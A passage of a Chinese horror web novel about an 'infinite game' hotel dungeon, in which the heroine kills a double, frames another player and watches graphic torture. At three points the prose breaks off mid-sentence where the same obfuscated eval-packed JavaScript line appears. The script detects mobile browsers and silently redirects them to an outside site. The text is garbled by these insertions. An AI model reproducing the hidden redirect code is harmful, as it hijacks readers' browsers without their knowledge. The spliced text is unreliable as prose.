吴长风挠头,装作没听见:“什么?” “三,个,亿!”白知之一个字一个字往外蹦,好有敲山碎岩之力。 “不是三百万吗,又不多。”吴长风眼神飘忽,两人地位倒换,现在轮到他打哈哈蒙混过去了。 “呵呵,三个亿。”白知之翻了一个白眼,双手叉腰,理直气壮:“还钱!” “呼——”一阵风自走廊尽头而来,“哗哗”,是吴长风的风衣在响。 “你要记住吴长风。”他不过手指长的头发顷刻间变作长发,顺风飘飘,掩盖他的面庞。 白知之三步并作两步,上前抓住他的手,“快告诉我到底发生了什么?”我为什么会借钱。 他没有要她说完话,食指贴在她的嘴唇,“嘘!门外有只眼。” 白知之皱眉,吴长风的发丝吹拂在她的脸上,遮盖她的视线,一只手拨开,看见与自己相同的一张脸,并不吃惊,“说清楚!”语气焦急。 吴长风的站位明明是顺风,可他人却受到一股反方向的力,身体仿佛将要吸入走廊尽头。 白知之双手奋力抓住吴长风的手,额头青筋暴起,嘴里念叨着:“还完钱再走……” 风化作无双手扒在白知之身上,叫她松手,连吴长风说:“松手吧。” “我偏不!” 【叮!已使用暖心互动,您将牵上他的手,祝您们感情升温!】 白知之身体颤动一瞬,使用技能那一刻,身体,不,是灵魂产生波动,好似平静的水潭无风自动,散发一圈圈涟漪。 暖心互动没有太大用处,只能保障抓住了吴长风的手而已,但聊胜于无。 白知之双腿微微下蹲,稳住底盘,作拔河状,也抵不住吴长风身体外部那股莫名的力量,连带自己逆风拽着往前好几步。 一时间,狂风之力与施与在吴长风身上的力直接或间接作用在一具单薄的身体,一前一后,相反的力疯狂撕扯白知之的身体,嫩黄色睡衣在风 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16085708|179573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中“哗哗”作响,发丝也在拉扯她的头皮。每往前一步,风的阻力越大,白知之的脸皮已如海浪波动。 所有的一切在说:“禁止!不允许!” 白知之偏不按它们的意思行事。 忽地,一只温热的手覆在她的脸庞,替她撩开掩面青丝,接着,这只手主动掰开白知之的手指,一根,两根……松了。 白知之的一只手彻底泄力,任风往与身体相逆的方向折去。 “你干什么!” 对上白知之不可置信的眼神,鲜红的不似活人的唇上下轻碰:“有些话说得太多没用,钱可以慢慢还,但事不能慢慢做了,这是最后一次机会。” 吴长风微微一笑,嘴角隐隐流出血珠,眨眼散入风中。 白知之眼睁睁看着自己另一只手的手指一根一根掰开,眼底一抹亮光一闪而过。她顶着风撕裂臂膀的疼痛,拼命强行带回先前已松开的手,不过她的目标不是吴长风的手,而是他的脖颈。 “刺啦——”鲜血脖颈涌出,化作星星血点飘入风中,拍打白知之的面庞。好似一场雨,清洗不该存在于世的人和物。 “不愧是我。”吴长风开口,嘴里的鲜血流出,他早该死了,不过为了白知之,也是自己撑到现在。 “再见,白知之。”白知之眼框湿润,但仍有亮光。 五指松开,风迎面拍来,白知之整个人凌空飞去四五米远,最后重重摔倒在地,脑袋嗡嗡作响,可怎么也掩盖不住系统的声音。 【叮!恭喜您杀了“吴长风”,获取他的剩余寿命0年,请问是兑换积分还是兑换技能。】 “咳咳。”白知之咽下喉咙涌上的腥甜,心道:“换技能。” 【兑换中……恭喜您,获得艺术翻译。在艺术方面你有极强天赋,可以共情所有的艺术品。】 白知之愣了两秒,不应该……按照她的技能,自己以前肯定不止一项技能,难不成技能还会吞技能?这是什么绕晕人的俄罗斯套娃? 而且……她不应该有一项隔空控物的技能吗? 白知之眼神幽幽望向走廊尽头,这儿已经没有吴长风的任何痕迹,包括他喷溅在她脸上的血,以及匕首上的血痕。 “噗——”血喷涌成柱,从鼻腔和喉咙同时涌出。她抬手抹去,张开手,手掌静静躺着一张任务纸条,上面写着:“世界唯一准则,不要看向那只眼!” 12. 终点酒店10 白知之忍痛花费1000积分从摆渡商城兑换了一片治愈药片和一片止痛片,一起塞嘴里嚼嚼咽下去了,连瓶矿泉水也没舍得多换。 “黑心商家。”白知之暗道。治愈剂和止痛剂竟是它们药片形态的三倍,也就是说花三倍的钱买一样的东西,白知之可舍不得,于是只好多忍耐三小时的疼痛。 她双腿哆嗦,扶墙勉强站起,往前走了几步颤颤巍巍的,好似随时就要倒下。适才狠狠摔在地上,可谓是将她的身体骨头全部打断重新组装了一遍,用起来像具新身体。 “有……人吗?”这句话问出来白知之都觉得诡异。 “我一直都在。”是熟悉的男声。 “你可以扶我一下吗?”白知之双腿打颤,支撑不了自己多久了,有免费的劳动力不用就是傻瓜。 声音未到人先行,一只手托住白知之的右手手肘,另一只手扶住她的腰,手掌握拳,没有半点逾矩。 白知之眼珠往右斜瞥,很不对劲。 “绅士”不是一个将结婚看作随口小事的人可以懂的风度,是什么在变化? “好!”话落,他手掌和手臂同时发力,既帮助白知之稳住重心,也借她往前走的力。 碎裂的骨头和破碎的内脏正在慢慢愈合,疼痛也在慢慢被药效压制,不过效果不是很显著,可对现在白知之来说也算是雪中送炭了。 白知之一瘸一拐地走,面上状作不经意,随口问道:“你今年几岁了?” “18岁。”声音听着像,可是语气行为看着不像。 “好年纪。” “方便问一下称呼吗?”白知之没有直接问名字,为对方和自己留一寸余地。 这个问题他思考了两秒才回答:“我的名字是秦不致。” 是在捏造名字还是思考透露真名还是透露代号? 白知之第一时间反驳自己,她认为秦不致没这智商,估计真是忘记自己名字了。 两轮之后,白知之终于问出自己想问的:“扶人的动作谁教你的?” “刚刚门里面有个大叔教我的,他说女孩子最吃这招了。” “……” 白知之嘴角的弧度僵住,眉头几不可察地抽动几下,沉默两秒,轻轻吐了口气,说:“所以你做的一切都是想要提高我对你的好感,让我同意和你结婚?” “嗯!” “那你刚刚怎么不来帮我?说不定你刚刚帮我拉住那个人我就可能答应你的请求了。”白知之不动声色,在秦不致简单的大脑中埋进一颗种子。 “你们两个都是白知之,我在想万一另一个白知之愿意嫁给我,我就不能帮你了。”秦不致分析得很认真。 “所以,你为什么执意要我和你结婚?”白知之转头看向右侧的空气,她看不见他,可他能够看见她。 “因为……我爱你。”秦不致说话磕磕绊绊,明显是又有人为他出谋划策。 “秦不致,我教你,说爱人的时候不能犹豫,要坚定地说。”白知之垂眸看向脚下的路延伸至无尽的黑暗。这条走廊是否有尽头? “我爱你!”声音高昂,语气中满是青涩,像个不懂爱强说爱的小毛孩。 “你说爱我,那你知道什么是真正的爱吗?” “我知道,爱是……” 白知之打断他,说:“不要听别人讲,要你自己讲。” “我不知道。”情绪明显低落下来。 “那你为什么要和我结婚。”终究还是绕回来。 “父亲说的。”秦不致思考了一两秒回答。 白知之脚步一顿,侧头目光瞥去右方,“还和你父亲有关?” “嗯……” 白知之一脑门绕成毛线的思绪,这个世界不仅有童工,还流行父子兵齐上阵? 她眼珠一转,左手试探性探向右侧,定准秦不致手的方位,抓了个空。 “我都不知道你长什么模样,怎么和你结婚啊?” “你不喜欢我的容貌。”秦不致说得很肯定,声音沉闷。 “我没见过你怎么知道我不喜欢。” “我就是知道。”语气激动,不能再刺激了。 白知之转移话题:“唉,怎么走了这么久还没到尽头啊?” 秦不致情绪低沉,回答不似适才热络,“他们说你走不到的。” 白知之眉尾往上挑,难不成可以通过秦不致得到场外援助? “额外的我不能说了,你还要往那走吗?” “哗啦”,是白知之美好未来碎成渣掉一地的声音。 “不要了,你扶我回去吧。记住,不要在他们面前显露你的存在。” “好的。”秦不致是个省心的工具人,听话,且不问原因。 可是,只要是人,总会有二心。 要是有能够控制人的身体甚至是灵魂的技能就好了。 白知之叹气。 “怎么了?是累了吗?需要我背你吗?” “又是听哪位前辈讲的?” “我自己想的。我想试着爱上你,这样你也会爱我,然后我们结婚。” 白知之并没有反驳他的话,驴磨石磨还得在它头顶挂根胡萝卜呢。 或许先前白知之一直在绕圈,现下走了十几米便走出了亮灯的范围,眼睛有些不适应地闭上,回头看,身后同样一片漆黑。 灯,在这个副本尤为重要的要素之一,可以决定生与死,可是她至今也未找到打开关闭它的方法,甚至连光源也没找到。 不着急,按最好的打算,一晚死一个,除掉“吴长风”和秦不致,还有一个牙牙,至少有六天。 再想得美些,熬过第四晚,她的任务完成,副本的一切于她毫无干系了。 不过,今晚找哪个替死鬼呢? 剩下的人可没那么容易上当。 白知之再临出黑暗前最后一秒,低声说:“好了,你想去哪就去哪吧。”也不管秦不致有没有回答,感受到撑扶她的手撤下后,便走了出去。 陈芸见到有人出来,立马起身,发现是白知之后眼神蒙上层灰。 黑暗外只剩下陈芸和商聪林两人,看来“吴长风”的任务纸条的吸引力不小啊。 “芸姐,怎么了吗?”白知之一瘸一拐扶墙靠近陈芸。 陈芸眉心紧皱,主动上前搀扶白知之,“你这是?” 白知之低头,手指紧攥,指甲嵌入掌心,言语间便落了泪,“牙牙本来是想害老大的,没想到误抓了我,老大为了帮我中了牙牙的诡计。她在暗处布置了遥控灯,等老大一来便隔空操控,所以……” 白知之假意抹泪,哽咽顿住,故作坚强继续道:“我趁牙牙不注意,偷袭才得以逃脱,但里面……里面…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16085709|179573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”她配合言语,瞳孔猛缩。 陈芸眼眶泛起涟漪,轻轻拍打白知之单薄的脊背,以示安慰,“不着急,慢慢说。” “里面有个怪物!”白知之呼吸急促,身体发抖,眼神不自觉往身后瞟。 “什么?”陈芸眉头皱成死结,她深深望了黑暗一眼,音调上扬了些,顾及到白知之的感受逐渐放轻。 “它全身都是黑的,没有脸。我当时没看见,被它狠狠绊了一跤。我以为是你们。”她抬眼与陈芸对视,继续道:“我就和它说牙牙的事,没想到它没有搭理我,然后我就听见了牙牙的求救声。”这些话真假掺半,饶是那些人回来也不能反驳她。 现下,她又多了一个罪名要甩出去。 商聪林轻轻瞥了她一眼,没说什么。 谈话间,陈芸默默治好了她的伤。 “芸姐,你的技能实用,如果我有你这个技能就不会发愁买治愈剂的积分了。” 陈芸笑笑,轻拍她的肩膀,“以后你有的积分肯定能换数不尽的治愈剂,何谈如今这点。” 接着,陈芸自然转换话题,“那你的技能是?” 白知之瘪瘪嘴,真情流露:“艺术翻译,超级没用,还不能自保。” 陈芸这边还来不及安慰鼓励几句,三人手机同时传来振动,是额外任务:“天使的爱女被杀,凶手就在七位玩家中间,请你们在明日早饭时检举真凶,检举成功者可获得天使的轻吻,若检举失败,天使会很失望,后果无法想象。” “爱女?应该说的是牙牙吧。”陈芸看向白知之,任务明确指出凶手在玩家中间,可是她适才明里暗里都在说是怪物杀了牙牙。 白知之心里白眼快翻上天了,可还得装作一朵刚刚受到刺激的小白花,“会不会是第七名玩家?”话落,白知之鬓边的发丝无风自动,是秦不致控告自己的冤情。 她顶着陈芸探究的目光,有理有据地分析下去:“之前老大吴长风的任务纸条就是他搞的鬼,如果他初心是好的,很可能为了我杀了牙牙。” “可是他为什么要绊你?”商聪林开口了,不知是敌是友。 “他蠢呗。”这回,秦不致偷偷摸摸牵动白知之的衣袖,表达自己的委屈,也不知道是哪位大叔教的。 “你看,他刚开始当着众人的面从吴长风那偷任务纸条给我不就是蠢吗。看起来想帮我,若不是老大善解人意。”话及吴长风,白知之适时落下几滴眼泪,“恐怕……恐怕我就成为他的刀下冤魂了。” “照你这么说,第七位玩家是个蠢好人,老是好心办成坏事。” 白知之使劲摇头,一副见风使舵,见利忘义的小人模样。 商聪林直起身,一步步逼近还瘫坐在地上抽泣的白知之,他蹲下身,眼神尖锐,“那你说,他会蠢到不知道副本中,禁止玩家自相残杀吗?” 白知之抽泣的声音一顿,下一秒被她用袖子擦拭眼泪的动作掩过去,“都说了他蠢。而且牙牙不也是控制灯间接杀害了吴长风吗?”她抬眼对上商聪林,早已没了先前的恐惧。 “也对。”商聪林貌似说服了自己,而后还为吴长风找了一个理由:“牙牙估摸着不是玩家中的一个,他冲动杀了也无碍。” 白知之的眼神跟着商聪林走。 奇怪,这人适才还咄咄逼人,这会却轻轻放下,难不成他也有不可告人的秘密? 13. 终点酒店11 白知之半瘫坐在地上,时间久了腿脚酸麻,她手撑着地,准备起来,没想一颗球状物滚到手边,“谁家小孩玩球落这了?”有些许刻薄,但很符合她现在给自己立的人设,见利忘义,见风使舵,这样玩家死了的事便怀疑不到她身上,毕竟一个利字当头的小人怎么会去做费力不讨好的事。 不过……玩家间禁止互相残杀她是第一次知道,如果说刘辰是她借副本规则杀死的,牙牙不算玩家,那么吴长风死的时候系统怎么不出来提醒一声,这可关乎玩家的性命啊。 “死幽幽,给我滚出来,这么重要的事怎么不告诉我一声。”白知之心里问着,手自然地捏起那颗小球,放到面前一看,“我了个天老爷!” 这是一颗眼球,眼球瞳孔的部分正巧直直对上白知之的眼睛,将她吓得不轻,头顶的头发都竖起来几根。 那颗小球被白知之猛力往前丢,滚到商聪林的脚边止住。 相比之下,商聪林淡定许多,他蹲下,从衣服口袋掏出一条绣着兔子吃草图案的粉色手帕,用手帕包住再放到眼前仔细观察。 陈芸看到眼球只是呼吸一顿,并未太多反应,关乎副本内容,她凑到商聪林身边半蹲着观察起来。 “厉害。”现实中的白知之没见过这个场面,要说杀人,白知之兴许阙值已被游戏小说,以及自己的性命安全拉高,可是这么生猛的画面,冲击力太大,她无法第一时间保持风轻云淡。 但为了通关,她不得不装作认真模样上前查看。 “看出什么了吗?”白知之还是不能说服自己,草草一眼便决定借鉴他人劳动成果。 商聪林看了陈芸一眼,一脸认真的分析起来:“应该是现挖的。” 确实是,没有说谎。白知之刚刚看到还在跳动的神经。 “还有吗?”白知之厚脸皮地继续问。 商聪林虽不满白知之的态度,但还是回答:“没有了,一颗眼球看不出太多信息。” 三人相对无言,白知之没话找话。 “你们怎么没一起进去啊?”白知之好奇地问。商聪林拥有力量型技能不应该不作为前锋去探探黑暗中的虚实,更何况还有吴长风的任务纸条诱惑,黑暗中,你下手我下脚,可都分不清楚的。况且,商聪林可不是喜欢待在后方支援的老实人。 陈芸好似对白知之没有防备,直接开口说道:“小商刚刚回来了。” “我没有找到他们,所以回来了。”此刻主动解释的商聪林冷冷的,但与平常相比多了些许乖巧,像是做了坏事安分的小孩。 有好戏看了。 可是,现在人越少对白知之越不利。她的任务是“度过第四晚”,黑色人形每晚杀一个人的话,即使她能找替死鬼躲过,可是当只剩她一个人的时候又往何处逃命呢? 她看了眼手机,已经下午六点了,离晚上开餐的时间只剩下不到一个半小时,她必须想一个计划逃过今晚的追杀。 首先要确认替死鬼的人选…… “救命……救命……”微弱的呻.吟传入三人的耳朵,率先有所行动的是陈芸,她立马起身往黑暗中走,中途被商聪林拦下,“小心有计。” “这是李逵的声音!”陈芸话说得很肯定,商聪林有所松懈。 陈芸还未靠近黑暗,一根颤抖地带血的手指从里面伸出来,随后重重落在地上。 陈芸三步化作两步,赶忙上千,上手紧握血淋淋的大手,身体微弓,用力拉,一条见骨的手臂出现在三人的面前。 “小商!”她犹豫了一秒,又叫上了白知之,“小常,快来帮忙。” 白知之倒是挺积极,毕竟她想看看商聪林整了什么幺蛾子,小跑上前。 三人像是拔萝卜般,硬生生连李逵顺带着他一直拉着的李文轩一齐拔了出来。 不过中间商聪林这小子半点力没出,仗着自己在最后面,陈芸看不见他,象征性地拉拉白知之的衣角,糊弄过去了。 “小商,你快兑几瓶治愈剂和止痛剂。”陈芸一只手为李逵治疗,一只手为李文轩治疗,嘴里还吩咐着事,简直忙得不可开交。 白知之蹲在走廊边上,静静看着两人血肉生长,伤口愈合,而陈芸脸色逐渐苍白,额角豆大的汗打湿衣领。 白知之轻轻抿嘴,上前用自己的衣袖替她擦汗,她可舍不得用10积分买一包面巾纸呢,10积分要人十年寿命来换,实在用不起这般金贵的面巾纸。幸好衣服上沾染的血渍早已被秦不致清理干净了,不然真不好意思。 “芸姐,别累坏了身子。”这句话她是真心的。 两人身体表面的伤口逐渐愈合,陈芸有了余力,“没关系。他们两个可能也是第七位玩家害的,你知道那人在哪吗?”说话时,她双眼时刻注意周围,生怕无形的第七位玩家出来把剩下的两人坑害。 白知之抬眼与商聪林对视,她在思考“五人生还”最后可能要变成“四人升天”了。 “不知道,我没见过他的实体。”白知之沉默一两秒,看似是在思考,实则在编造,“我是昨天晚上知道他的存在的,他说他受吴长风的嘱托,会在暗中帮助我。” 死去的人用起来无比顺手。 谈到吴长风,白知之眼睛又红了,“可是现在吴长风死了,他现在又伤害无辜的人,会不会最后我们都死在他手上。”陈芸没有明确指示她认为第七位玩家就是凶手,但白知之直接将帽子往他头上盖,省事省力,顺便拉拢商聪林。 “现下,李队,逵哥还有温乙洲是一起进去的,我在后面,我们没有杀害牙牙的理由以及时间,他们三应该也能相互作证。而她一个新人,也没有杀害一个老玩家的实力,何况是艺术类的技能。那么现在只能得出他是杀害天使爱女,也就是牙牙的凶手。然而如何逃避检举,自然是把我们这群能够检举的人杀死。”商聪林有条理的分析,把自己连带白知之从事件中摘出去,最终所有脏水泼向第七位玩家。 陈芸被说动了,“我们三个现在就待在这里不要单独行动,等李队他们醒来说明情况再做决定。” 李文轩和李逵受伤程度不一。李文轩伤得最重,脑后的头皮侵蚀殆尽,一只耳朵也无影无踪,特别是背后脊髓都袒露在外,可见当时情况惨烈。而李逵相比之下受伤较轻,一只手臂的皮肉被腐蚀掉了,但疼痛是不可估量的,另外,有什么东西烧糊了他的脚底板,令他无法正常行走。于是他一只脚勾着李文轩,以一只手臂艰难匍匐行进。 两人着实艰难。 “温乙洲呢?”商聪林假模假式手握双拳抵在胸口作防御状。 “他应该没死。”白知之说出自己的推测。没死,不代表好活。 没过多久,李逵睁开布满红血丝的眼睛,眼中尽是恐惧。在陈芸关切的目光中说出了他们的遭遇:“太恐怖了,我没想到会有玩家直接屠害其他玩家。”直接对应了白知之与商聪林的猜想,这顶黑锅算是扣实了。 李逵说着,陷入回忆,手抓住陈芸的衣袖止不住地抖。 “走廊一片黑,我们看不见,自然也找不到什么有用的线索。李队主张返回,于是我们三个人就一起往回走,没想到走到半途,不知怎么回事,地上亮了一排灯,周围的黑暗变作人形,一碰到它们血肉便会被腐蚀,多亏了李队推了我一把,不然现在还躺在这的就是我了。”情至深处,李逵一个大块头“呜呜”哭了起来,边哭边喊着“李队”。 一样的杀人方法。 白知之与商聪林对上眼神。 两人没来由的默契倒是方便把嫌疑全撇到第七位玩家也就是秦不致身上了。 “如果不是我,李队就不会受这么重的伤了。”李逵哽咽道。 陈芸倒是冷静,安慰道:“不用自责,作为队长,他只是最大化利益。你总不想李队受着伤拖你这个大块头走出来吧。” 李逵破涕而笑,短暂的笑容过后是深深的担忧。 他继续道:“温乙洲倒是不一样,他没受伤,但是像是疯了一样,到处举着他的打火机乱烧,还烧到了我的脚。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16085710|179573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白知之眼珠一转,敲定了今晚的替死鬼——温乙洲。 不过人去哪了呢? “嘿嘿嘿……”一道痴笑传来,白知之转头寻找声音来源,谁知迎面撞上两个空落落的血洞。 是温乙洲,他两个眼眶空无一物,看来是他亲手挖出了自己的眼球,其中一颗不知所踪,另一颗用手帕包裹收在商聪林身上。 瞎了还能找上她? 陈芸见状,两只手一边一个,将受伤的队友拉远。 商聪林往后退两步,看到白知之直直站在原地,以为是吓傻了,赶忙伸出手拽她,没想她纹丝不动。往下看,温乙洲五根手指的指甲深深嵌入白知之的手腕,形成一道桎梏。 忽地,白知之透过温乙洲的肩膀看见他脑后的头发无风自动,微微皱眉飞过一记眼刀,下一秒,痛苦的呻.吟从她的嘴里泄出。 “死老太婆,你死了为什么还要回来!” 温乙洲五指往下撕扯,白知之一大块皮肉牵连下来,血液滴滴答答落下画出一条红线,她趁机往后退了几步,另一只手用力紧扼受伤处上方的皮肉,防止失血过多, 温乙洲举起手,上面的血肉被猩红纤长的舌头卷入口中,他长长喟叹:“你就应该在我都胃里!” 他双手往前抓,扑了个空,歪头对着空地出神。 “我的眼睛呢?”他疑惑道。 “我的眼睛呢!”他的语气逐渐激动起来,双手呈爪状四处乱抓,发现没人开始到处乱扑。 一时间,所有人的目光都落在商聪林身上,他是在场唯一有能力制服温乙洲的人。 只见商聪林拿手帕,四个角自然落下,露出里面的眼球,“在这呢,你想要吗?”他狡黠一笑,脚步轻轻靠近温乙洲。 温乙洲鼻子嗡动,嗅到了自己的味道,身体腾空跃起,手脚并用将商聪林死死压在身下,严严实实遮盖他的小小身躯。 “老太婆,都怪你!看你做的好事,我可是你的乖孙,你怎么敢饿着我!” 温乙洲双手掐住商聪林的脖子,商聪林血色涌起,脸蛋通红,却不见他大幅度的反抗。 “我就是吃了你,老女人,你来找我报仇啊!”温乙洲双臂血管凸出,用了死力气。 白知之苍白的脸上满是担忧,“他没事吧?”语气担忧。 陈芸温柔一笑,目光坚定,“相信他。” 她治愈技能使用过多,脸色与白知之比好不到哪去,她安置好还在昏迷中的李文轩,轻抓过白知之的手腕要给她治疗,却被拒绝了。 “芸姐,你也要注意自己的身体啊。”白知之低头与陈芸讲话,余光瞥见商聪林猛地暴起,反压温乙洲,坐在他的身上,掏出一根麻绳牢牢捆绑。 温乙洲犹如在陆地上的鱼,不停扑腾,可商聪林的身体稳如泰山,纹丝不动,顺带背身捞过温乙洲的双腿绑上了另一根麻绳,叫他动弹不得。 见举手反转,这疯子开口求饶:“奶奶,我不是故意的。奶奶……对不起,我那天只是太饿了,我不是故意的,奶奶……” 他还沉浸在自己的幻想之中,商聪林掰正他的脸,一颗眼球捏在手里,银色的瞳空正对温乙洲的脸,冷冷道:“认识这是什么东西吗?” 温乙洲没有回答,一味向他想象中的奶奶道歉。 商聪林手指如钳卡住温乙洲的下颚,他的牙关强行打开,鼓成一个圆形,“你的眼球。”话毕,眼球被塞进温乙洲的嘴里,他尖叫想要吐出来,商聪林抵住他的下颚,一上一下,帮他咀嚼。 “还是爆浆的,你喜不喜欢?” 温乙洲不知听没听懂,商聪林松开手,他自己嚼起来,还点头点评:“好吃,还要!” 他又蹦跶起来,但麻绳捆住四肢,他只能像一条蛆一样在地上扭动。 商聪林站起来,轻轻瞥了一眼,“恶心。” 一条脏兮兮的手帕甩到温乙洲的脸上,他误以为是食物狼吞虎咽生生咽了下去,那是商聪林适才擦手的手帕。 14. 终点酒店12 一整条手帕梗在温乙洲的喉管,空气进不来也出不去,脸涨成紫色,双手双脚被桎梏,扭动驱躯干想要吐出手帕,可这只会加速他的死亡。 白知之等到他翻白眼,眼珠布满红血丝之时上前用手扣出那条湿淋淋黏糊糊的手帕,她屏住气息两只手捏着手帕一角,问:“你还要吗?” 商聪林冷冷瞥了一眼,“垃圾。” 白知之随意一丢,猛吸一大口新鲜空气,顺便狠狠踹了温乙洲一脚,蹲下欣赏他现在的惨状。 “啊——” 惨叫声吸引了正在休整的几人,转头看,一把匕首贯穿了温乙洲的手掌,白知之不好意思地笑了笑,“抱歉,吵到大家了。”话落,又一声惨叫,匕首拔了出来,血噗呲喷涌而出,溅满了白知之半张脸。 陈芸看了眼白知之,目光回到商聪林身上。 “唔——唔——”这回白知之捂住了温乙洲的嘴,手法相比上一次利落许多。 她看着自己已经止住血的手臂,笑着对他说:“庆幸吧。”你的命我留着还有用。 松开手,没有眼睛也能看到他的惊恐。 他一下一下用头撞击地面,嘴里说着:“对不起,对不起,对不起……”声音带上哭腔,可惜可以流泪的眼睛已经被胃酸溶蚀,现在这副样子不会得到人的同情,只会招来厌恶。 李文轩醒来第一句便是对李逵说:“不用道歉了。” 不多时,晚餐时间到,这顿饭每个人吃得心事重重。一天,死了两个疯了一个,还有一个隐藏在暗处的杀人狂魔,任谁也高兴不起来,除了白知之和商聪林。 饭桌上只剩下各自的咀嚼声,杀害天使爱女的凶手已经确定,是第七位玩家,同时他还担上了蓄谋杀害李文轩,李逵和温乙洲的罪名,所以她不用担心商聪林出来捅破她。 另外,今晚的替死鬼捆绑好送到她面前了,美滋滋。 一顿饭白知之越吃越开心,家常的辣椒炒肉也生出更加美好的滋味。 不过,她的房间是进不去,只得在外游荡一晚。一晚上与满走廊看不见的人儿一处算不上多安全。 要是有一个身强体壮的人陪她一起,夜晚或许不会寂寞孤独,就算死了也能一起上路过桥喝孟婆汤。 但是所有人都知道暗处有个利用副本机制杀人的魔头,且副本机制残忍,黑暗中有星点亮光便可丧命,谁还会出来? 真有。 白知之与商聪林面面相觑。 她是房间受副本机制进不去,那这位这么晚了在外面游荡就不应该了。 “这么晚出来赏月吗?”白知之打趣道。 “探索人与蛆的差别。”商聪林瞥了眼还在房门前蠕动的温乙洲。 “你呢?来蹭蜡烛?”商聪林合理推测,说着拿出了已经切割一半的蜡烛,正准备点上,白知之抬手制止了他。 商聪林不解地侧目,白知之尴尬地掏出另外一根白蜡,讪讪说:“点这根吧。” 聪明人之间不需多余的解释。 商聪林冷笑一声:“看来我还是可怜错了人,当初就应该杀人夺烛。” 白知之背后惊出一身冷汗,见过李文轩三人的下场,她丝毫不怀疑这句话的真实性,只好打哈哈:“不是说玩家之间不能自相残杀吗?” 商聪林冷眼瞧过来。 “小小年纪,勿作杀孽。”白知之假装板着脸道。 “呵。” 两人在微弱的烛火照明下前行。 夜晚的走廊与白天的走廊一样被黑暗笼罩,两侧房门静静合上,门上没有门牌,默默拒绝酒店顾客的打扰。 白天经过时,白知之试着按下房门门锁,打不开。 现下,两人对视一眼,谁也不相信谁。 白知之主动伸出手,道:“你拽着我就不怕我跑了吧。” 商聪林搭上白知之举着蜡烛的手,另一只手掰下一小段蜡烛。 白知之看见了,但没说什么。 “我好心再提醒你一句,副本中不要与其他玩家有肢体接触。” “为什么?” “……”具体原因商聪林没有回答。 白知之猜测可能与技能有关。每个人的技能都要在一定的条件下使用,比如牙牙的【暖心互动】,必须有第二人的存在,还有【艺术鉴赏】,对象必须是艺术品。 那么商聪林的……是在接触到人才能发挥出神力吗? 今日商聪林制度温乙洲时,有些奇怪。若是李逵他肯定一拳就能打趴下温乙洲,可是商聪林偏偏等了十几秒,总不能调用自己的技能还不熟练。或者说他的技能的使用条件是受到死亡威胁或者折磨,他看着不像是受虐狂。 现下提醒她不要与其他玩家有肢体接触是有感而发还是…… 商聪林虽然残害队友,但在白知之心理安全线之内。 他并不是见人就杀,针对性很强。照理说,他的陷阱布置远早于白知之出来的时间,若是无差别攻击,她不可能身体健全的出来。 “小帅哥,开门吧。” 商聪林没有否定,他轻轻按下门把手,“咔哒……”门开了。 门后漆黑一片,微弱的烛火犹如滴进大海中的一滴墨,作用不大。 探索房间费了两人许多功夫,烛火需靠的极近才能照亮事物。木桌,床,浴室,与他们的房间布置一样。两人来到窗帘前。 他们的房间也有窗帘,不过窗帘下是一堵厚实的水泥墙。 那这些白天不开放的房间会有什么不同? 两人一手一边窗帘,同时拉开。 窗外是亮的! 两人下意识将窗帘闭上,反应过来适才未受到攻击又拉开。 外面的光是酒店外墙装饰的灯光,朝下望去,下面是一块空旷的平地。一切与他们进来时一样,包括上面停着五辆车,以及站着九个人。 白知之感受到来自下面的目光,头皮发麻,没想到这个副本真是一座正常营业的酒店,每晚接收客人。她扭头想与商聪林商谈两句,没想对上一个嘴角牵到太阳穴,露出森白牙齿的笑,这个笑容挂在商聪林的脸上。 不知何时,白知之的手心空了,蜡烛握在商聪林的手里,他的脸被摇晃的烛火分割成亮与阴两面。白知之心里暗道:“道具匕首!”手里依旧空空。 她没有多想,以为是幽幽又开小差。于是想要上手抢夺蜡烛,手动不了,身体定在窗前,只有一颗眼珠可以转溜。 “系统!幽幽!摆渡!我要买道具!”白知之在心中呐喊,可是熟悉的电子声并没有出现。 “哈——”商聪林猛力一推,白知之的身体撞碎玻璃,整个人往下坠。酒店一层层房间从她的眼前跃过,风擦过鬓角,灌进她的睡衣,裤腿,口鼻。一瞬间,白知之不能呼吸。 她看着天上离他越来越远的月亮,亮亮的。一眨眼,月亮变成眼睛,白知之下意识闭上眼睛。那张写着:“世界唯一准则,不要看向那只眼!”的纸条在她的口袋隐隐发烫。 几秒后,没有等来坚硬的水泥地,等来了刺眼的光。 她睁眼,自己依旧在往下坠,不过黑夜变作白天,酒店换成了妇产科医院。 太阳越来越近,阳光炙热,人快要被烤熟。 时间好似沙漏里的沙,流逝的越来越快。又像黏腻在杯壁的酸奶,怎么也倒不干净。 终于,一双厚实的大手接住了她,她远离了太阳,掉入了一个冰冷的怀抱。 